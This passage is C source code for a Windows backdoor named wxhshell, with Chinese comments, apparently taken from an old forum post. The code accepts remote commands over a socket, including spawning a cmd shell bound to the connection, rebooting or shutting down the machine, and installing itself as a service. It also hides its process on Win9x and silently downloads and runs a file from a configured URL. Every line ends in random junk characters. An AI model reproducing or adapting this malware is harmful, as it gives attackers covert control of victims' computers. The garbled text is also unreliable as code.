  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mv>-XJ+  
  } qi$nG_<<Z  
  else { %>Mcme>(W  
>f70-D28  
    switch(cmd[0]) { jM: |%o  
  L [&|<<c  
  // 帮助 `Gh J)WA<  
  case '?': { pU1miA '  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;e6L@)dp9  
    break; m ;yIFO  
  } 3v ~[kVhoG  
  // 安装 u4h.\ul8%  
  case 'i': { = ( 4l  
    if(Install()) ^~^=$fz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sGG q~7  
    else Cs2kbG_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KzQuLD(e  
    break; rlY n"3%  
    } kQD~v+u{`  
  // 卸载 TeKU/&fkc  
  case 'r': { B*:W`}G]_c  
    if(Uninstall()) iX-.mq$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m= rMx]k  
    else 31cZ6[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `#4q7v~>oe  
    break; VUC_|=?dL  
    } y+h/jEbM</  
  // 显示 wxhshell 所在路径 Yf_/c*t\5  
  case 'p': { m-]F]c=)w<  
    char svExeFile[MAX_PATH]; p ^ ONJL  
    strcpy(svExeFile,"\n\r"); 80K"u[  
      strcat(svExeFile,ExeFile); eW;c 3<  
        send(wsh,svExeFile,strlen(svExeFile),0); 'LYN{  
    break; X@za4d  
    } o)+C4f[G4  
  // 重启 g%okYH?  
  case 'b': { Pq1j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Kx02 2rgDU  
    if(Boot(REBOOT)) /0b7"Kr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j\iNag(   
    else { ySHpN>U  
    closesocket(wsh); Z-3("%_$/  
    ExitThread(0); +V;d^&S  
    } w|f@sB>j  
    break; Hi^ Z`97c  
    } IZuP{7p$  
  // 关机 <Ok7 -:OxA  
  case 'd': { }U?:al/m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =^z*p9ZB  
    if(Boot(SHUTDOWN)) *onVG5<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; W$.>*O  
    else { 9Zr6 KA{  
    closesocket(wsh); ;H9 W:_ahE  
    ExitThread(0); R)-~5"}~  
    } >0?ph<h1[q  
    break; 4lI&y<F  
    } eoJ*?v  
  // 获取shell `>=@Kc  
  case 's': { -$I$zo  
    CmdShell(wsh); EAHdt=8W{  
    closesocket(wsh); 9Y?``QBN  
    ExitThread(0); 5 %+epzy  
    break; E {UhM q7  
  } .  LeS-  
  // 退出 F^&@[k7WW  
  case 'x': { DABV}@K"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uK0L>  
    CloseIt(wsh); qp{~OW3  
    break; c3WF!~1r  
    } zXk^u gFy  
  // 离开 <) -]'@*c  
  case 'q': { t ?05  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &yI>A1  
    closesocket(wsh); zb s7G  
    WSACleanup(); iLNO}EUL  
    exit(1); O^8=Xj#}  
    break; Zzmo7kFx3  
        } TN<"X :x9  
  } 0^)~p{Zh  
  } n`! 6EaD  
jI~$iDdOfs  
  // 提示信息 ]2{]TJ @B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,+X:#$  
} T8^l}Y B  
  } ErFt5%FN.O  
{kvxz  
  return; l;@bs  
} 0IZF%`  
2b Fr8FUt-  
// shell模块句柄 VxE;tJ>1  
int CmdShell(SOCKET sock) , eSpt#M  
{ 7jGfQ  
STARTUPINFO si; 0}po74x*r  
ZeroMemory(&si,sizeof(si)); CZ>Ujw=&k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qRz /$|.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ( X+2vN  
PROCESS_INFORMATION ProcessInfo; S;oRE' kk  
char cmdline[]="cmd"; ]YOWCFAQot  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /m i&7C(6  
  return 0; ?Ss~!38  
} S+*>""=  
,$U~<Zd  
// 自身启动模式 !pHI`FeAV  
int StartFromService(void) 1$^r@rP  
{ /FjdcH=  
typedef struct G-,0mo  
{ TD78&a#  
  DWORD ExitStatus; jvpv1>KYV  
  DWORD PebBaseAddress; F+L%Ho;@P  
  DWORD AffinityMask; . g-  HB'  
  DWORD BasePriority; 3Bcv"O,B!{  
  ULONG UniqueProcessId; X$?0C{@.}  
  ULONG InheritedFromUniqueProcessId; d(9-T@J  
}   PROCESS_BASIC_INFORMATION; i 1Kq (7  
oE2VJKs<B  
PROCNTQSIP NtQueryInformationProcess; h8-uI.RZ  
}a#=c*+_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sggl*V/q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  ?$y/b}8  
r]]:/pw?t  
  HANDLE             hProcess; -$49l  
  PROCESS_BASIC_INFORMATION pbi; +|x%a2?x:  
L(9AcP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (*,R21<%  
  if(NULL == hInst ) return 0; e_g&L)  
TI\EkKu"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \rE] V,,2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U#<{RqY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F`,Hf Cb\  
Nq|y\3]  
  if (!NtQueryInformationProcess) return 0; `?f<hIJoz  
M1T.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m"6K_4r]  
  if(!hProcess) return 0; p#3G=FV  
 m3^D~4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IkxoW:L  
`$FB[Z} &  
  CloseHandle(hProcess); DghqSL ^s  
=NSunW!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d(Hqj#`-31  
if(hProcess==NULL) return 0; AYfe_Dj  
s,l*=<  
HMODULE hMod; BuUM~k&SY  
char procName[255]; T0.sL9  
unsigned long cbNeeded; P>^$X  
"z= ~7g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t:xTmK&vt  
8 qZbsZi4  
  CloseHandle(hProcess); =k;X}/  
OMd:#cWsQ  
if(strstr(procName,"services")) return 1; // 以服务启动 (+<66 T O  
5=}CZYWB  
  return 0; // 注册表启动 (f~}5O<  
} Sz]1`%_H/  
#r1y|)m`  
// 主模块 }5}>B *  
int StartWxhshell(LPSTR lpCmdLine) F8M};&=*1r  
{ [xQ.qZ[h&  
  SOCKET wsl; %(H' j@D[  
BOOL val=TRUE; &>R:oYN  
  int port=0; O1+yOef"k  
  struct sockaddr_in door; 3(gOF&Uf9  
zQUNvPYM  
  if(wscfg.ws_autoins) Install(); .[s6PzQy  
2=%]Ax"R  
port=atoi(lpCmdLine); f hNJB0  
!89hO4 0r  
if(port<=0) port=wscfg.ws_port; Vup|*d2r0E  
-KfMK N~  
  WSADATA data; Og8%SnEpMI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JXR]G  
x}=Q)|)]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WM4,\$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B}K<L\S  
  door.sin_family = AF_INET; J,s:CBCGL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K@:Ab'(P^|  
  door.sin_port = htons(port); " BLJh)i  
NbCIL8f]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P m&^rC;  
closesocket(wsl); 5H|7DVG  
return 1;  =WEDQ\ c  
} `.]oH1\  
2L51 H(  
  if(listen(wsl,2) == INVALID_SOCKET) { I1s$\NZ~]  
closesocket(wsl); lhf5[Rp  
return 1; #\O'*mz  
} QIJ/'72  
  Wxhshell(wsl); i [Wxu M  
  WSACleanup(); {XD':2E  
D=Yr/qc?  
return 0; Fq%NY8KNE  
+8"P*z,  
} bQPO'S4  
KP $AT}D  
// 以NT服务方式启动  -rT#Wi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2^nws  
{ ][YuJUK8  
DWORD   status = 0; Der'45]*^  
  DWORD   specificError = 0xfffffff; mX?t|:[b  
XN{zl*`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a:4!z;2 |  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x5rLGt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4Y4zBD=<  
  serviceStatus.dwWin32ExitCode     = 0; @RL'pKab9  
  serviceStatus.dwServiceSpecificExitCode = 0; u:B=lZ[  
  serviceStatus.dwCheckPoint       = 0; +rhBC V  
  serviceStatus.dwWaitHint       = 0; K}GR U)  
Prc1U)nfo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /x_AWnU  
  if (hServiceStatusHandle==0) return; F IB)cpo  
Y]5MM:mI  
status = GetLastError(); `)MKCw$e  
  if (status!=NO_ERROR) q!~DCv df  
{ >;VZB/ d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #q-fRZ:P  
    serviceStatus.dwCheckPoint       = 0; TefPxvd  
    serviceStatus.dwWaitHint       = 0; /s+S\ djk  
    serviceStatus.dwWin32ExitCode     = status; -"^xg"  
    serviceStatus.dwServiceSpecificExitCode = specificError; rhly.f7N=A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;E>#qYC6  
    return; LB9W.cA   
  } T21?~jS  
`0MQL@B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !| - U,  
  serviceStatus.dwCheckPoint       = 0; zJ:%iL@  
  serviceStatus.dwWaitHint       = 0; xuVc1jJH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 17 0r5  
} 7#7|+%W0  
x"cB8bZ!$  
// 处理NT服务事件,比如:启动、停止 IYH4@v/#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5g$>J)Ry  
{ 1'8-+?r  
switch(fdwControl) mgM"u94-]  
{ xO,;4uE  
case SERVICE_CONTROL_STOP: EWv[Sp  
  serviceStatus.dwWin32ExitCode = 0; |WfL'_?$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e"*ho[  
  serviceStatus.dwCheckPoint   = 0; dJdOh#8+Xi  
  serviceStatus.dwWaitHint     = 0; 4gWlSm)  
  { Lw1[)Vk}E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "CREls,  
  } Xs'qwL~{`  
  return; U6y`:G;.  
case SERVICE_CONTROL_PAUSE: wfcR[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1?.NJ<)F  
  break; 9\=SG"e(  
case SERVICE_CONTROL_CONTINUE: cqW(9A|8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G%= gCR  
  break; (hIo0 .  
case SERVICE_CONTROL_INTERROGATE: 9wO2`e )  
  break; /Nob S'd  
}; fL]jk1.Xv-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]^i^L  
} ]9JH.fF  
E\cX  
// 标准应用程序主函数 6o5,d]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dO,; k +  
{ gr{*wYL  
<HIM k  
// 获取操作系统版本 ]<r.{EJ  
OsIsNt=GetOsVer();  Q0,eE:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #JXXq%4 @  
UN:qE oS  
  // 从命令行安装 '* /$66|  
  if(strpbrk(lpCmdLine,"iI")) Install(); y7GgTC/H  
B ?y[ %i  
  // 下载执行文件 %=\*OIhl  
if(wscfg.ws_downexe) { e$JATA:j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w*o2lg9  
  WinExec(wscfg.ws_filenam,SW_HIDE); !- 5z 1b)  
} XdOntP*a  
WW!-,d{{@  
if(!OsIsNt) { DZEq(>mn  
// 如果时win9x,隐藏进程并且设置为注册表启动 XV`8Vb  
HideProc(); ;d]vAj  
StartWxhshell(lpCmdLine); yF|+oTp  
} sBqOcy  
else VwK7\j V  
  if(StartFromService()) Ai5+ ;8z+  
  // 以服务方式启动 K\s<<dRa  
  StartServiceCtrlDispatcher(DispatchTable); -dfs8[i  
else aVr=7PeF  
  // 普通方式启动 BqA_C W  
  StartWxhshell(lpCmdLine); |oe  
<E^;RG  
return 0; wx!2/I>  
}
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只看该作者 1 发表于: 2006-10-10
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